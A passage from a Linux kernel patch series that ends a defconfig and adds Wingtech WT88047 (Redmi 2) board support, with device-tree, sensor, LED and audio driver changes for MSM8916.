Kernel hacking +# +CONFIG_PRINTK_TIME=y +CONFIG_DEFAULT_MESSAGE_LOGLEVEL=4 +CONFIG_ENABLE_WARN_DEPRECATED=y +CONFIG_ENABLE_MUST_CHECK=y +CONFIG_FRAME_WARN=1024 +CONFIG_MAGIC_SYSRQ=y +# CONFIG_STRIP_ASM_SYMS is not set +# CONFIG_READABLE_ASM is not set +# CONFIG_UNUSED_SYMBOLS is not set +# CONFIG_PAGE_OWNER is not set +CONFIG_DEBUG_FS=y +# CONFIG_HEADERS_CHECK is not set +# CONFIG_DEBUG_SECTION_MISMATCH is not set +CONFIG_DEBUG_KERNEL=y +# CONFIG_DEBUG_SHIRQ is not set +# CONFIG_LOCKUP_DETECTOR is not set +# CONFIG_PANIC_ON_OOPS is not set +CONFIG_PANIC_ON_OOPS_VALUE=0 +# CONFIG_PANIC_ON_RECURSIVE_FAULT is not set +# CONFIG_DETECT_HUNG_TASK is not set +# CONFIG_SCHED_DEBUG is not set +# CONFIG_PANIC_ON_RT_THROTTLING is not set +CONFIG_SCHEDSTATS=y +CONFIG_TIMER_STATS=y +# CONFIG_DEBUG_OBJECTS is not set +# CONFIG_SLUB_STATS is not set +CONFIG_HAVE_DEBUG_KMEMLEAK=y +# CONFIG_DEBUG_KMEMLEAK is not set +# CONFIG_DEBUG_PREEMPT is not set +# CONFIG_DEBUG_RT_MUTEXES is not set +# CONFIG_RT_MUTEX_TESTER is not set +# CONFIG_DEBUG_SPINLOCK is not set +# CONFIG_DEBUG_MUTEXES is not set +# CONFIG_DEBUG_LOCK_ALLOC is not set +# CONFIG_PROVE_LOCKING is not set +# CONFIG_LOCK_STAT is not set +# CONFIG_DEBUG_ATOMIC_SLEEP is not set +# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set +CONFIG_STACKTRACE=y +# CONFIG_DEBUG_STACK_USAGE is not set +# CONFIG_DEBUG_KOBJECT is not set +# CONFIG_DEBUG_HIGHMEM is not set +# CONFIG_DEBUG_BUGVERBOSE is not set +# CONFIG_DEBUG_INFO is not set +# CONFIG_DEBUG_VM is not set +# CONFIG_DEBUG_WRITECOUNT is not set +# CONFIG_DEBUG_MEMORY_INIT is not set +# CONFIG_DEBUG_LIST is not set +# CONFIG_TEST_LIST_SORT is not set +# CONFIG_DEBUG_SG is not set +# CONFIG_DEBUG_NOTIFIERS is not set +# CONFIG_DEBUG_CREDENTIALS is not set +# CONFIG_BOOT_PRINTK_DELAY is not set + +# +# RCU Debugging +# +# CONFIG_PROVE_RCU_DELAY is not set +# CONFIG_SPARSE_RCU_POINTER is not set +# CONFIG_RCU_TORTURE_TEST is not set +CONFIG_RCU_CPU_STALL_TIMEOUT=21 +CONFIG_RCU_CPU_STALL_VERBOSE=y +# CONFIG_RCU_CPU_STALL_INFO is not set +# CONFIG_RCU_TRACE is not set +# CONFIG_BACKTRACE_SELF_TEST is not set +# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set +# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set +# CONFIG_DEBUG_PER_CPU_MAPS is not set +# CONFIG_LKDTM is not set +# CONFIG_NOTIFIER_ERROR_INJECTION is not set +# CONFIG_FAULT_INJECTION is not set +# CONFIG_DEBUG_PAGEALLOC is not set +CONFIG_NOP_TRACER=y +CONFIG_HAVE_FUNCTION_TRACER=y +CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y +CONFIG_HAVE_DYNAMIC_FTRACE=y +CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y +CONFIG_HAVE_SYSCALL_TRACEPOINTS=y +CONFIG_HAVE_C_RECORDMCOUNT=y +CONFIG_TRACE_CLOCK=y +CONFIG_RING_BUFFER=y +CONFIG_EVENT_TRACING=y +CONFIG_CONTEXT_SWITCH_TRACER=y +# CONFIG_MSM_RTB is not set +CONFIG_IPC_LOGGING=y +CONFIG_TRACING=y +CONFIG_GENERIC_TRACER=y +CONFIG_TRACING_SUPPORT=y +# CONFIG_FTRACE is not set +# CONFIG_DYNAMIC_DEBUG is not set +# CONFIG_OOPS_LOG_BUFFER is not set +# CONFIG_LOG_BUF_MAGIC is not set +# CONFIG_DMA_API_DEBUG is not set +# CONFIG_ATOMIC64_SELFTEST is not set +# CONFIG_PANIC_ON_DATA_CORRUPTION is not set +# CONFIG_SAMPLES is not set +CONFIG_HAVE_ARCH_KGDB=y +# CONFIG_KGDB is not set +# CONFIG_TEST_STRING_HELPERS is not set +# CONFIG_TEST_KSTRTOX is not set +# CONFIG_ARM_PTDUMP is not set +# CONFIG_STRICT_DEVMEM is not set +CONFIG_ARM_UNWIND=y +# CONFIG_DEBUG_USER is not set +# CONFIG_FORCE_PAGES is not set +# CONFIG_FREE_PAGES_RDONLY is not set +# CONFIG_DEBUG_LL is not set +CONFIG_DEBUG_LL_INCLUDE="mach/debug-macro.S" +CONFIG_UNCOMPRESS_INCLUDE="mach/uncompress.h" +# CONFIG_PID_IN_CONTEXTIDR is not set + +# +# Security options +# +CONFIG_KEYS=y +# CONFIG_ENCRYPTED_KEYS is not set +# CONFIG_KEYS_DEBUG_PROC_KEYS is not set +# CONFIG_SECURITY_DMESG_RESTRICT is not set +CONFIG_SECURITY=y +# CONFIG_SECURITYFS is not set +CONFIG_SECURITY_NETWORK=y +# CONFIG_SECURITY_NETWORK_XFRM is not set +# CONFIG_SECURITY_PATH is not set +CONFIG_LSM_MMAP_MIN_ADDR=4096 +CONFIG_SECURITY_SELINUX=y +# CONFIG_SECURITY_SELINUX_BOOTPARAM is not set +# CONFIG_SECURITY_SELINUX_DISABLE is not set +CONFIG_SECURITY_SELINUX_DEVELOP=y +CONFIG_SECURITY_SELINUX_AVC_STATS=y +CONFIG_SECURITY_SELINUX_CHECKREQPROT_VALUE=1 +# CONFIG_SECURITY_SELINUX_POLICYDB_VERSION_MAX is not set +# CONFIG_SECURITY_SMACK is not set +# CONFIG_SECURITY_TOMOYO is not set +# CONFIG_SECURITY_APPARMOR is not set +# CONFIG_SECURITY_YAMA is not set +# CONFIG_IMA is not set +# CONFIG_EVM is not set +CONFIG_DEFAULT_SECURITY_SELINUX=y +# CONFIG_DEFAULT_SECURITY_DAC is not set +CONFIG_DEFAULT_SECURITY="selinux" +CONFIG_CRYPTO=y + +# +# Crypto core or helper +# +CONFIG_CRYPTO_ALGAPI=y +CONFIG_CRYPTO_ALGAPI2=y +CONFIG_CRYPTO_AEAD=y +CONFIG_CRYPTO_AEAD2=y +CONFIG_CRYPTO_BLKCIPHER=y +CONFIG_CRYPTO_BLKCIPHER2=y +CONFIG_CRYPTO_HASH=y +CONFIG_CRYPTO_HASH2=y +CONFIG_CRYPTO_RNG=y +CONFIG_CRYPTO_RNG2=y +CONFIG_CRYPTO_PCOMP2=y +CONFIG_CRYPTO_MANAGER=y +CONFIG_CRYPTO_MANAGER2=y +# CONFIG_CRYPTO_USER is not set +CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y +CONFIG_CRYPTO_GF128MUL=y +CONFIG_CRYPTO_NULL=y +# CONFIG_CRYPTO_PCRYPT is not set +CONFIG_CRYPTO_WORKQUEUE=y +CONFIG_CRYPTO_CRYPTD=y +CONFIG_CRYPTO_AUTHENC=y + +# +# Authenticated Encryption with Associated Data +# +# CONFIG_CRYPTO_CCM is not set +# CONFIG_CRYPTO_GCM is not set +# CONFIG_CRYPTO_SEQIV is not set + +# +# Block modes +# +CONFIG_CRYPTO_CBC=y +# CONFIG_CRYPTO_CTR is not set +# CONFIG_CRYPTO_CTS is not set +CONFIG_CRYPTO_ECB=y +# CONFIG_CRYPTO_LRW is not set +# CONFIG_CRYPTO_PCBC is not set +CONFIG_CRYPTO_XTS=y + +# +# Hash modes +# +# CONFIG_CRYPTO_CMAC is not set +CONFIG_CRYPTO_HMAC=y +CONFIG_CRYPTO_XCBC=y +# CONFIG_CRYPTO_VMAC is not set + +# +# Digest +# +CONFIG_CRYPTO_CRC32C=y +# CONFIG_CRYPTO_CRC32 is not set +# CONFIG_CRYPTO_GHASH is not set +CONFIG_CRYPTO_MD4=y +CONFIG_CRYPTO_MD5=y +# CONFIG_CRYPTO_MICHAEL_MIC is not set +# CONFIG_CRYPTO_RMD128 is not set +# CONFIG_CRYPTO_RMD160 is not set +# CONFIG_CRYPTO_RMD256 is not set +# CONFIG_CRYPTO_RMD320 is not set +CONFIG_CRYPTO_SHA1=y +# CONFIG_CRYPTO_SHA1_ARM is not set +CONFIG_CRYPTO_SHA256=y +# CONFIG_CRYPTO_SHA512 is not set +# CONFIG_CRYPTO_TGR192 is not set +# CONFIG_CRYPTO_WP512 is not set + +# +# Ciphers +# +CONFIG_CRYPTO_AES=y +# CONFIG_CRYPTO_AES_ARM is not set +# CONFIG_CRYPTO_ANUBIS is not set +CONFIG_CRYPTO_ARC4=y +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST6 is not set +CONFIG_CRYPTO_DES=y +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_KHAZAD is not set +# CONFIG_CRYPTO_SALSA20 is not set +# CONFIG_CRYPTO_SEED is not set +# CONFIG_CRYPTO_SERPENT is not set +# CONFIG_CRYPTO_TEA is not set +CONFIG_CRYPTO_TWOFISH=y +CONFIG_CRYPTO_TWOFISH_COMMON=y + +# +# Compression +# +CONFIG_CRYPTO_DEFLATE=y +# CONFIG_CRYPTO_ZLIB is not set +# CONFIG_CRYPTO_LZO is not set + +# +# Random Number Generation +# +CONFIG_CRYPTO_ANSI_CPRNG=y +# CONFIG_CRYPTO_USER_API_HASH is not set +# CONFIG_CRYPTO_USER_API_SKCIPHER is not set +CONFIG_CRYPTO_HW=y +CONFIG_CRYPTO_DEV_QCE50=y +# CONFIG_FIPS_ENABLE is not set +CONFIG_CRYPTO_DEV_QCRYPTO=y +CONFIG_CRYPTO_DEV_QCE=y +CONFIG_CRYPTO_DEV_QCEDEV=y +# CONFIG_CRYPTO_DEV_OTA_CRYPTO is not set +# CONFIG_ASYMMETRIC_KEY_TYPE is not set +CONFIG_BINARY_PRINTF=y + +# +# Library routines +# +CONFIG_BITREVERSE=y +CONFIG_GENERIC_STRNCPY_FROM_USER=y +CONFIG_GENERIC_STRNLEN_USER=y +CONFIG_GENERIC_PCI_IOMAP=y +CONFIG_GENERIC_IO=y +CONFIG_CRC_CCITT=y +CONFIG_CRC16=y +# CONFIG_CRC_T10DIF is not set +# CONFIG_CRC_ITU_T is not set +CONFIG_CRC32=y +# CONFIG_CRC32_SELFTEST is not set +CONFIG_CRC32_SLICEBY8=y +# CONFIG_CRC32_SLICEBY4 is not set +# CONFIG_CRC32_SARWATE is not set +# CONFIG_CRC32_BIT is not set +# CONFIG_CRC7 is not set +CONFIG_LIBCRC32C=y +# CONFIG_CRC8 is not set +CONFIG_AUDIT_GENERIC=y +CONFIG_ZLIB_INFLATE=y +CONFIG_ZLIB_DEFLATE=y +CONFIG_LZO_COMPRESS=y +CONFIG_LZO_DECOMPRESS=y +# CONFIG_XZ_DEC is not set +# CONFIG_XZ_DEC_BCJ is not set +CONFIG_DECOMPRESS_GZIP=y +CONFIG_DECOMPRESS_BZIP2=y +CONFIG_DECOMPRESS_LZMA=y +CONFIG_GENERIC_ALLOCATOR=y +CONFIG_REED_SOLOMON=y +CONFIG_REED_SOLOMON_ENC8=y +CONFIG_REED_SOLOMON_DEC8=y +CONFIG_TEXTSEARCH=y +CONFIG_TEXTSEARCH_KMP=y +CONFIG_TEXTSEARCH_BM=y +CONFIG_TEXTSEARCH_FSM=y +CONFIG_HAS_IOMEM=y +CONFIG_HAS_IOPORT_MAP=y +CONFIG_HAS_DMA=y +CONFIG_CPU_RMAP=y +CONFIG_DQL=y +CONFIG_NLATTR=y +CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE=y +# CONFIG_AVERAGE is not set +# CONFIG_CORDIC is not set +# CONFIG_DDR is not set +CONFIG_LIBFDT=y +CONFIG_QMI_ENCDEC=y +# CONFIG_QMI_ENCDEC_DEBUG is not set +# CONFIG_VIRTUALIZATION is not set diff --git a/drivers/platform/Kconfig b/drivers/platform/Kconfig index bbae5e93f2e07..643e7ac348266 100644 --- a/drivers/platform/Kconfig +++ b/drivers/platform/Kconfig @@ -10,4 +10,5 @@ source "drivers/platform/ckt/Kconfig" source "drivers/platform/longcheer/Kconfig" source "drivers/platform/msm/Kconfig" source "drivers/platform/haier/Kconfig" +source "drivers/platform/wingtech/Kconfig" endif diff --git a/drivers/platform/wingtech/Kconfig b/drivers/platform/wingtech/Kconfig new file mode 100644 index 0000000000000..052ed34c47446 --- /dev/null +++ b/drivers/platform/wingtech/Kconfig @@ -0,0 +1,24 @@ +# Wingtech configuration options + +config MACH_WINGTECH + bool "Wingtech device" + depends on ARCH_MSM + help + Support for Wingtech products + +config MACH_WINGTECH_MSM8916 + bool "Wingtech MSM8916" + depends on ARCH_MSM8916 + select MACH_WINGTECH + help + Support for MSM8916 Wingtech variants + +menu "Wingtech board selection" + +config MACH_WT88047 + bool "WT88047 board" + select MACH_WINGTECH_MSM8916 + help + Support for Wingtech WT88047 Redmi 2 variant + +endmenu From 1ef39871031eb4169aff29bbbe881af4c57a3574 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 17 Aug 2015 02:14:04 +0700 Subject: [PATCH 016/365] mach-msm: Set default MSM8916 kernel base address Change-Id: I48823355a049f283a76d87d1e253e86b682abf46 --- arch/arm/mach-msm/Kconfig | 1 + 1 file changed, 1 insertion(+) diff --git a/arch/arm/mach-msm/Kconfig b/arch/arm/mach-msm/Kconfig index 283a831adb63f..85ecdb2306668 100644 --- a/arch/arm/mach-msm/Kconfig +++ b/arch/arm/mach-msm/Kconfig @@ -428,6 +428,7 @@ config PHYS_OFFSET hex default "0x00000000" if ARCH_MSM8974 default "0x00000000" if ARCH_APQ8084 + default "0x80000000" if ARCH_MSM8916 default "0x00000000" if ARCH_MSM8226 default "0x00000000" if ARCH_MSM8610 default "0x0b600000" if ARCH_FSM9900 From 9a52e67436247e78359f66eaf33234b780a1a8a9 Mon Sep 17 00:00:00 2001 From: Zhao Wei Liew Date: Tue, 22 Sep 2015 14:16:27 +0700 Subject: [PATCH 017/365] wt88047: dts: Correct Focaltech CTP IRQ flag configuration Original patch from Mao Li Fixed below irq flag issues of Focaltech CTP: Focaltech CTP firmware generates edge interrupt to MSM, but the interrupt type in DTSI is level, which will cause CTP interrupt cannot wake up MSM when system is in deep sleep. Fix this by setting edge irq flag in DTSI. Change-Id: I26c1863a7ee76f110048f9dc74490ce46a84c601 --- arch/arm/boot/dts/qcom/msm8916-wt88047.dts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/arch/arm/boot/dts/qcom/msm8916-wt88047.dts b/arch/arm/boot/dts/qcom/msm8916-wt88047.dts index 09fc83e49c3d6..c90ca6285c940 100644 --- a/arch/arm/boot/dts/qcom/msm8916-wt88047.dts +++ b/arch/arm/boot/dts/qcom/msm8916-wt88047.dts @@ -66,7 +66,7 @@ compatible = "focaltech,5x06"; reg = <0x38>; interrupt-parent = <&msm_gpio>; - interrupts = <13 0x2008>; + interrupts = <13 0x2>; vdd-supply = <&pm8916_l17>; vcc_i2c-supply = <&pm8916_l6>; pinctrl-names = "pmx_ts_active","pmx_ts_suspend","pmx_ts_release"; @@ -76,7 +76,7 @@ focaltech,name = "ft6436"; focaltech,family-id = <0x36>; focaltech,reset-gpio = <&msm_gpio 12 0x0>; - focaltech,irq-gpio = <&msm_gpio 13 0x2008>; + focaltech,irq-gpio = <&msm_gpio 13 0x0>; focaltech,display-coords = <0 0 720 1280>; focaltech,panel-coords = <0 0 720 1280>; focaltech,button-map= <139 102 158>; From a35320e676c2dfeadaf170a61980e778d2c233f8 Mon Sep 17 00:00:00 2001 From: Zhao Wei Liew Date: Tue, 8 Sep 2015 23:34:43 +0800 Subject: [PATCH 018/365] input: akm09911: Modify AKM09911 for WT88047 Change-Id: Ide25aedc75d50b69e465586e248c2b9de789946e --- drivers/input/misc/akm09911.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/drivers/input/misc/akm09911.c b/drivers/input/misc/akm09911.c index 72166e119c17a..a761ef300f74d 100644 --- a/drivers/input/misc/akm09911.c +++ b/drivers/input/misc/akm09911.c @@ -37,7 +37,11 @@ #include #define AKM_DEBUG_IF 0 +#ifdef CONFIG_MACH_WT88047 +#define AKM_HAS_RESET 0 +#else #define AKM_HAS_RESET 1 +#endif #define AKM_INPUT_DEVICE_NAME "compass" #define AKM_DRDY_TIMEOUT_MS 100 #define AKM_BASE_NUM 10 @@ -1503,9 +1507,11 @@ static int akm_compass_suspend(struct device *dev) if (akm->state.power_on) akm_compass_power_set(akm, false); +#ifndef CONFIG_MACH_WT88047 ret = pinctrl_select_state(akm->pinctrl, akm->pin_sleep); if (ret) dev_err(dev, "Can't select pinctrl state\n"); +#endif dev_dbg(&akm->i2c->dev, "suspended\n"); @@ -1518,9 +1524,11 @@ static int akm_compass_resume(struct device *dev) int ret = 0; uint8_t mode; +#ifndef CONFIG_MACH_WT88047 ret = pinctrl_select_state(akm->pinctrl, akm->pin_default); if (ret) dev_err(dev, "Can't select pinctrl state\n"); +#endif if (akm->state.power_on) { ret = akm_compass_power_set(akm, true); @@ -1741,11 +1749,13 @@ static int akm_compass_parse_dt(struct device *dev, akm->gpio_rstn = of_get_named_gpio_flags(dev->of_node, "akm,gpio_rstn", 0, NULL); +#if AKM_HAS_RESET if (!gpio_is_valid(akm->gpio_rstn)) { dev_err(dev, "gpio reset pin %d is invalid.\n", akm->gpio_rstn); return -EINVAL; } +#endif return 0; } @@ -1757,6 +1767,7 @@ static int akm_compass_parse_dt(struct device *dev, } #endif /* !CONFIG_OF */ +#ifndef CONFIG_MACH_WT88047 static int akm_pinctrl_init(struct akm_compass_data *akm) { struct i2c_client *client = akm->i2c; @@ -1781,6 +1792,7 @@ static int akm_pinctrl_init(struct akm_compass_data *akm) return 0; } +#endif static int akm_report_data(struct akm_compass_data *akm) { @@ -2184,6 +2196,7 @@ int akm_compass_probe(struct i2c_client *client, const struct i2c_device_id *id) /* set client data */ i2c_set_clientdata(client, s_akm); +#ifndef CONFIG_MACH_WT88047 /* initialize pinctrl */ if (!akm_pinctrl_init(s_akm)) { err = pinctrl_select_state(s_akm->pinctrl, s_akm->pin_default); @@ -2192,6 +2205,7 @@ int akm_compass_probe(struct i2c_client *client, const struct i2c_device_id *id) goto exit2; } } +#endif /* Pull up the reset pin */ AKECS_Reset(s_akm, 1); From 10f86bc824a55bfea0dc8c91577efe609d225c59 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 20 Sep 2015 22:36:33 +0700 Subject: [PATCH 019/365] leds: leds-aw2013: Disable vdd control for WT88047 AW2013 on WT88047 powered by "always on" l16 regulator Change-Id: I45bb93c701ae131cc3842514d8b34287fed29d2a --- drivers/leds/leds-aw2013.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/drivers/leds/leds-aw2013.c b/drivers/leds/leds-aw2013.c index 7155f206c4f1a..f985d329e8ee9 100644 --- a/drivers/leds/leds-aw2013.c +++ b/drivers/leds/leds-aw2013.c @@ -42,8 +42,10 @@ #define AW_LED_RESET_MASK 0x55 #define AW_LED_RESET_DELAY 8 +#ifndef CONFIG_MACH_WT88047 #define AW2013_VDD_MIN_UV 2600000 #define AW2013_VDD_MAX_UV 3300000 +#endif #define AW2013_VI2C_MIN_UV 1800000 #define AW2013_VI2C_MAX_UV 1800000 @@ -59,7 +61,9 @@ struct aw2013_led { struct work_struct work; struct workqueue_struct *workqueue; struct mutex lock; +#ifndef CONFIG_MACH_WT88047 struct regulator *vdd; +#endif struct regulator *vcc; int num_leds; int id; @@ -91,12 +95,14 @@ static int aw2013_power_on(struct aw2013_led *led, bool on) int rc; if (on) { +#ifndef CONFIG_MACH_WT88047 rc = regulator_enable(led->vdd); if (rc) { dev_err(&led->client->dev, "Regulator vdd enable failed rc=%d\n", rc); return rc; } +#endif if (led->pdata->awgpio <= 0) { rc = regulator_enable(led->vcc); @@ -108,12 +114,14 @@ static int aw2013_power_on(struct aw2013_led *led, bool on) } led->poweron = true; } else { +#ifndef CONFIG_MACH_WT88047 rc = regulator_disable(led->vdd); if (rc) { dev_err(&led->client->dev, "Regulator vdd disable failed rc=%d\n", rc); return rc; } +#endif if (led->pdata->awgpio <= 0) { rc = regulator_disable(led->vcc); @@ -128,18 +136,22 @@ static int aw2013_power_on(struct aw2013_led *led, bool on) return rc; fail_enable_reg: +#ifndef CONFIG_MACH_WT88047 rc = regulator_disable(led->vdd); if (rc) dev_err(&led->client->dev, "Regulator vdd disable failed rc=%d\n", rc); +#endif return rc; fail_disable_reg: +#ifndef CONFIG_MACH_WT88047 rc = regulator_enable(led->vdd); if (rc) dev_err(&led->client->dev, "Regulator vdd enable failed rc=%d\n", rc); +#endif return rc; } @@ -178,6 +190,7 @@ static int aw2013_power_init(struct aw2013_led *led, bool on) int rc; if (on) { +#ifndef CONFIG_MACH_WT88047 led->vdd = regulator_get(&led->client->dev, "vdd"); if (IS_ERR(led->vdd)) { rc = PTR_ERR(led->vdd); @@ -196,6 +209,7 @@ static int aw2013_power_init(struct aw2013_led *led, bool on) goto reg_vdd_put; } } +#endif if (led->pdata->awgpio > 0) { rc = aw2013_configure_gpio(led, on); @@ -225,10 +239,12 @@ static int aw2013_power_init(struct aw2013_led *led, bool on) } } } else { +#ifndef CONFIG_MACH_WT88047 if (regulator_count_voltages(led->vdd) > 0) regulator_set_voltage(led->vdd, 0, AW2013_VDD_MAX_UV); regulator_put(led->vdd); +#endif if (!led->pdata->awgpio <= 0) { if (regulator_count_voltages(led->vcc) > 0) @@ -242,10 +258,12 @@ static int aw2013_power_init(struct aw2013_led *led, bool on) reg_vcc_put: regulator_put(led->vcc); reg_vdd_set_vtg: +#ifndef CONFIG_MACH_WT88047 if (regulator_count_voltages(led->vdd) > 0) regulator_set_voltage(led->vdd, 0, AW2013_VDD_MAX_UV); reg_vdd_put: regulator_put(led->vdd); +#endif return rc; } From d09e00050af1155867928b8cc27ed81ae4d4caef Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 20 Sep 2015 23:53:17 +0700 Subject: [PATCH 020/365] input: mpu6050: Disable vlogic control for WT88047 MPU6050's vlogic on WT88047 from "always on" l16 regulator Change-Id: Ic50638ad285e2cb22b685fd9393194b62ce11b3f --- drivers/input/misc/mpu6050.c | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/drivers/input/misc/mpu6050.c b/drivers/input/misc/mpu6050.c index 9c9fcc9e66ae3..039713a0a7238 100644 --- a/drivers/input/misc/mpu6050.c +++ b/drivers/input/misc/mpu6050.c @@ -40,8 +40,10 @@ /*VDD 2.375V-3.46V VLOGIC 1.8V +-5%*/ #define MPU6050_VDD_MIN_UV 2500000 #define MPU6050_VDD_MAX_UV 3400000 +#ifndef CONFIG_MACH_WT88047 #define MPU6050_VLOGIC_MIN_UV 1800000 #define MPU6050_VLOGIC_MAX_UV 1800000 +#endif #define MPU6050_VI2C_MIN_UV 1750000 #define MPU6050_VI2C_MAX_UV 1950000 @@ -185,7 +187,9 @@ struct mpu6050_sensor { bool acc_use_cal; /* power control */ +#ifndef CONFIG_MACH_WT88047 struct regulator *vlogic; +#endif struct regulator *vdd; struct regulator *vi2c; int enable_gpio; @@ -365,6 +369,7 @@ static int mpu6050_power_ctl(struct mpu6050_sensor *sensor, bool on) return rc; } +#ifndef CONFIG_MACH_WT88047 rc = regulator_enable(sensor->vlogic); if (rc) { dev_err(&sensor->client->dev, @@ -372,6 +377,7 @@ static int mpu6050_power_ctl(struct mpu6050_sensor *sensor, bool on) regulator_disable(sensor->vdd); return rc; } +#endif if (!IS_ERR_OR_NULL(sensor->vi2c)) { rc = regulator_enable(sensor->vi2c); @@ -379,7 +385,9 @@ static int mpu6050_power_ctl(struct mpu6050_sensor *sensor, bool on) dev_err(&sensor->client->dev, "Regulator vi2c enable failed rc=%d\n", rc); +#ifndef CONFIG_MACH_WT88047 regulator_disable(sensor->vlogic); +#endif regulator_disable(sensor->vdd); return rc; } @@ -410,6 +418,7 @@ static int mpu6050_power_ctl(struct mpu6050_sensor *sensor, bool on) return rc; } +#ifndef CONFIG_MACH_WT88047 rc = regulator_disable(sensor->vlogic); if (rc) { dev_err(&sensor->client->dev, @@ -417,6 +426,7 @@ static int mpu6050_power_ctl(struct mpu6050_sensor *sensor, bool on) rc = regulator_enable(sensor->vdd); return rc; } +#endif if (!IS_ERR_OR_NULL(sensor->vi2c)) { rc = regulator_disable(sensor->vi2c); @@ -461,6 +471,7 @@ static int mpu6050_power_init(struct mpu6050_sensor *sensor) } } +#ifndef CONFIG_MACH_WT88047 sensor->vlogic = regulator_get(&sensor->client->dev, "vlogic"); if (IS_ERR(sensor->vlogic)) { ret = PTR_ERR(sensor->vlogic); @@ -479,6 +490,7 @@ static int mpu6050_power_init(struct mpu6050_sensor *sensor) goto reg_vlogic_put; } } +#endif sensor->vi2c = regulator_get(&sensor->client->dev, "vi2c"); if (IS_ERR(sensor->vi2c)) { @@ -501,6 +513,7 @@ static int mpu6050_power_init(struct mpu6050_sensor *sensor) reg_vi2c_put: regulator_put(sensor->vi2c); +#ifndef CONFIG_MACH_WT88047 if (regulator_count_voltages(sensor->vlogic) > 0) regulator_set_voltage(sensor->vlogic, 0, MPU6050_VLOGIC_MAX_UV); reg_vlogic_put: @@ -508,6 +521,7 @@ static int mpu6050_power_init(struct mpu6050_sensor *sensor) reg_vdd_set_vtg: if (regulator_count_voltages(sensor->vdd) > 0) regulator_set_voltage(sensor->vdd, 0, MPU6050_VDD_MAX_UV); +#endif reg_vdd_put: regulator_put(sensor->vdd); return ret; @@ -517,9 +531,11 @@ static int mpu6050_power_deinit(struct mpu6050_sensor *sensor) { int ret = 0; +#ifndef CONFIG_MACH_WT88047 if (regulator_count_voltages(sensor->vlogic) > 0) regulator_set_voltage(sensor->vlogic, 0, MPU6050_VLOGIC_MAX_UV); regulator_put(sensor->vlogic); +#endif if (regulator_count_voltages(sensor->vdd) > 0) regulator_set_voltage(sensor->vdd, 0, MPU6050_VDD_MAX_UV); regulator_put(sensor->vdd); From 2469c744b1ef2e732728af8f858afefc977e5335 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 5 Oct 2015 21:13:11 +0700 Subject: [PATCH 021/365] wt88047: Re-apply sound patch for Wingtech WT88047 Original patch from balika011 , unneeded part removed by Zhao Wei Liew Change-Id: I81bdcc1ee872745e3678d8a5d6e7fb42917450dc --- sound/soc/codecs/msm8x16-wcd.h | 6 +++ sound/soc/msm/msm8x16.c | 95 ++++++++++++++++++++++++++++++++++ 2 files changed, 101 insertions(+) diff --git a/sound/soc/codecs/msm8x16-wcd.h b/sound/soc/codecs/msm8x16-wcd.h index 5c9e6c1791550..ca33088319c79 100644 --- a/sound/soc/codecs/msm8x16-wcd.h +++ b/sound/soc/codecs/msm8x16-wcd.h @@ -56,6 +56,12 @@ #define DEFAULT_GAIN 9 #define DEFAULT_OFFSET 100 +#ifdef CONFIG_MACH_WT88047 +#define EXT_SPK_AMP_GPIO (902 + 118) +#define EXT_SPK_AMP_GPIO_1 (902 + 117) +#define EXT_SPK_AMP_HEADSET_GPIO (902 + 8) +#endif + extern const u8 msm8x16_wcd_reg_readable[MSM8X16_WCD_CACHE_SIZE]; extern const u8 msm8x16_wcd_reg_readonly[MSM8X16_WCD_CACHE_SIZE]; extern const u8 msm8x16_wcd_reset_reg_defaults[MSM8X16_WCD_CACHE_SIZE]; diff --git a/sound/soc/msm/msm8x16.c b/sound/soc/msm/msm8x16.c index ab0ff628934c5..fdbc6b11fce29 100755 --- a/sound/soc/msm/msm8x16.c +++ b/sound/soc/msm/msm8x16.c @@ -365,6 +365,53 @@ static void param_set_mask(struct snd_pcm_hw_params *p, int n, unsigned bit) static int msm8x16_mclk_event(struct snd_soc_dapm_widget *w, struct snd_kcontrol *kcontrol, int event); +#ifdef CONFIG_MACH_WT88047 +static struct delayed_work lineout_amp_enable; +static struct delayed_work lineout_amp_dualmode; + +static void msm8x16_ext_spk_delayed_enable(struct work_struct *work) +{ + int i; + + gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, 0); + usleep_range(13000, 15000); + gpio_direction_output(EXT_SPK_AMP_GPIO, 1); + usleep_range(13000, 15000); + + for(i = 5; i; --i) + { + gpio_direction_output(EXT_SPK_AMP_GPIO_1, 1); + usleep_range(100, 105); + gpio_direction_output(EXT_SPK_AMP_GPIO_1, 0); + usleep_range(100, 105); + } + gpio_direction_output(EXT_SPK_AMP_GPIO_1, 1); + + pr_info("%s: Enable external speaker PAs.\n", __func__); +} + +static void msm8x16_ext_spk_delayed_dualmode(struct work_struct *work) +{ + int i; + + gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, 1); + usleep_range(13000, 15000); + gpio_direction_output(EXT_SPK_AMP_GPIO, 1); + usleep_range(13000, 15000); + + for(i = 5; i; --i) + { + gpio_direction_output(EXT_SPK_AMP_GPIO_1, 1); + usleep_range(100, 105); + gpio_direction_output(EXT_SPK_AMP_GPIO_1, 0); + usleep_range(100, 105); + } + gpio_direction_output(EXT_SPK_AMP_GPIO_1, 1); + + pr_info("%s: Enable external speaker PAs dualmode.\n", __func__); +} +#endif + static const struct snd_soc_dapm_widget msm8x16_dapm_widgets[] = { SND_SOC_DAPM_SUPPLY_S("MCLK", -1, SND_SOC_NOPM, 0, 0, @@ -382,6 +429,9 @@ static const char *const loopback_mclk_text[] = {"DISABLE", 